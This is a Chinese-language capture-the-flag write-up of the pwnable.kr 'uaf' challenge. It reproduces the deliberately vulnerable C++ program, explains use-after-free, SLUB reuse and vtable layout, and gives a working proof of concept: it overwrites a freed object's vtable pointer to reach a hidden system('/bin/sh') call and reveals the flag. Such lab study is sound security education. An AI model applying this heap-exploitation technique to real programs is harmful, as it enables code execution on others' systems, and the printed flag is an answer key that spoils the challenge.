#include
#include
#include
#include
#include
using namespace std;
class Human{
private:
virtual void give_shell(){
system("/bin/sh");
}
protected:
int age;
string name;
public:
virtual void introduce(){
cout << "My name is " << name << endl;
cout << "I am " << age << " years old" << endl;
}
};
class Man: public Human{
public:
Man(string name, int age){
this->name = name;
this->age = age;
}
virtual void introduce(){
Human::introduce();
cout << "I am a nice guy!" << endl;
}
};
class Woman: public Human{
public:
Woman(string name, int age){
this->name = name;
this->age = age;
}
virtual void introduce(){
Human::introduce();
cout << "I am a cute girl!" << endl;
}
};
int main(int argc, char* argv[]){
Human* m = new Man("Jack", 25);
Human* w = new Woman("Jill", 21);
size_t len;
char* data;
unsigned int op;
while(1){
cout << "1. use\n2. after\n3. free\n";
cin >> op;
switch(op){
case 1:
m->introduce();
w->introduce();
break;
case 2:
len = atoi(argv[1]);
data = new char[len];
read(open(argv[2], O_RDONLY), data, len);
cout << "your data is allocated" << endl;
break;
case 3:
delete m;
delete w;
break;
default:
break;
}
}
return 0;
}
考点:
1.UAF(use after free)
分配的内存释放后,指针没有因为内存释放而变为NULL,而是继续指向已经释放的内存。攻击者可以利用这个指针对内存进行读写。详细的可以自行查找资料,笔者也是刚刚接触,有些还是不太理解。
uaf漏洞分析基础知识补充:
引用一段被释放的内存可导致程序崩溃,或处理非预期数值,或执行无干指令。使用被释放的内存可带来诸多不利后果,根据具体实例和缺陷发生时机,轻则导致程序合法数据被破坏,重则可执行任意指令。
UAF错误的原因:
(1)导致程序出错和发生异常的各种条件
(2)程序负责释放内存的指令发生混乱
其实简单来说就是因为分配的内存释放后,指针没有因为内存释放而变为NULL,而是继续指向已经释放的内存。攻击者可以利用这个指针对内存进行读写。(这个指针可以称为恶性迷途指针)
UAF漏洞的利用:
(1)先搞出来一个迷途指针
(2)精心构造数据填充被释放的内存区域
(3)再次使用该指针,让填充的数据使eip发生跳转。
2.SLUB
对对象类型没有限制,两个对象只要大小差不多就可以重用同一块内存,而不在乎类型是否相同。样的话,同一个笼子既可以放鸡,又可以放鸭。也就是说我们释放掉sock对象A以后马上再创建对象B,只要A和B大小相同(不在乎B的类型),那么B就极有可能重用A的内存。SLAB差不多,只不过要求类型也要相同。
既然B可以为任意对象类型,那我们当然希望选择一个用起来顺手的对象类型。至少要符合以下2个条件:
1.用户可以控制该对象的大小
2.用户空间可以对该对象写入数据
如果碰巧这块问题内存新分配的数据是比如C++中的类,那这块内存堆对上可能散落着各种函数指针,只要用shellcode的地址覆盖其中一个函数指针,就能够达成执行任意指令。
linux 内核 内存管理 slub算法 (一) 原理
3.C++ delete
为某个内容开辟空间,并设置指向该空间的指针p,delete之后,下次再重新申请的时候可以再申请这块内存地址,也就是将这块地址放到了空闲链表上,对于这块地址的内容,没有进行清空处理(也没有必要);由于你没有将p赋为NULL,所以p指针还是指向这块内存空间。
如果不delete的话,你这块内存是不能在申请使用的,也就是所谓的内存泄露。
对于delete之后的指针p,此时是"野指针"。
4.C++ 虚函数
C++ 虚函数表解析
[交流]关于子类重写父类私有虚函数
虚函数,一旦一个类有虚函数,编译器会为这个类建立一张vtable。子类继承父类(vtable)中所有项,当子类有同名函数时,修改vtable同名函数地址,改为指向子类的函数地址,子类有新的虚函数时,在vtable中添加。记住,私有函数无法继承,但如果私有函数是虚函数,vtable中会有相应的函数地址,所有子类可以通过手段得到父类的虚私有函数。
分析:
笔者第一次对uaf程序的分析,如果有不对或者缺陷的地方,欢迎批评指正。
观察源代码我们可以发现在父类Human中存在一个shell,只要我们能成功跳转到这个就可以得到flag。
观察main函数,new了两个子类,并创建了两个类的指针m、w,然后我们可以进行操作。
由SLUB我们可以知道,在程序delete m、w的时候,m、w指针的内容是不会被delete的,只是在系统表中标注此块区域是空闲的。
那只要我们在m或w所指向的空间写下我们构造好的代码,之后覆盖introduce函数的地址为give_shell的函数地址,这样在调用introduce的时候便能成功获得shell。
我们将pwnable.kr服务器上的uaf文件下载到本地分析
观察上图,程序对每个类分配了24字节的空间。这意味着我们需要构造同样大小的空间,系统才有可能给我们分配到之前m、w指向的空间。
由上图可知,只要我们在文件中写下give_shell的地址-8,之后在1选项调用的时候就会调用到give_shell了
观察Man虚表,give_shell的地址为0x0000000000401570,那么我们在文件中写入的就是'\x68\x15\x40\x00\x00\x00\x00\x00',这样就可以了
对下面的POC解释一下,首先释放掉堆,然后写入内容为give_shell-8的地址2次,依次给的是woman、man,不然在1选项中,先执行的是m->introduce,如果只给woman写的话,那么程序会直接崩溃。
上图是windows上的,可以使用OD结合IDA一起分析,感觉更能直观的展示。
POC:
uaf@ubuntu:~$ python -c 'print "\x68\x15\x40\x00\x00\x00\x00\x00"'>/var/tmp/ccc-uaf
uaf@ubuntu:~$ ./uaf 24 /var/tmp/ccc-uaf
1. use
2. after
3. free
3
1. use
2. after
3. free
2
your data is allocated
1. use
2. after
3. free
2
your data is allocated
1. use
2. after
3. free
1
$ cat flag
yay_f1ag_aft3r_pwning
FLAG:
yay_f1ag_aft3r_pwning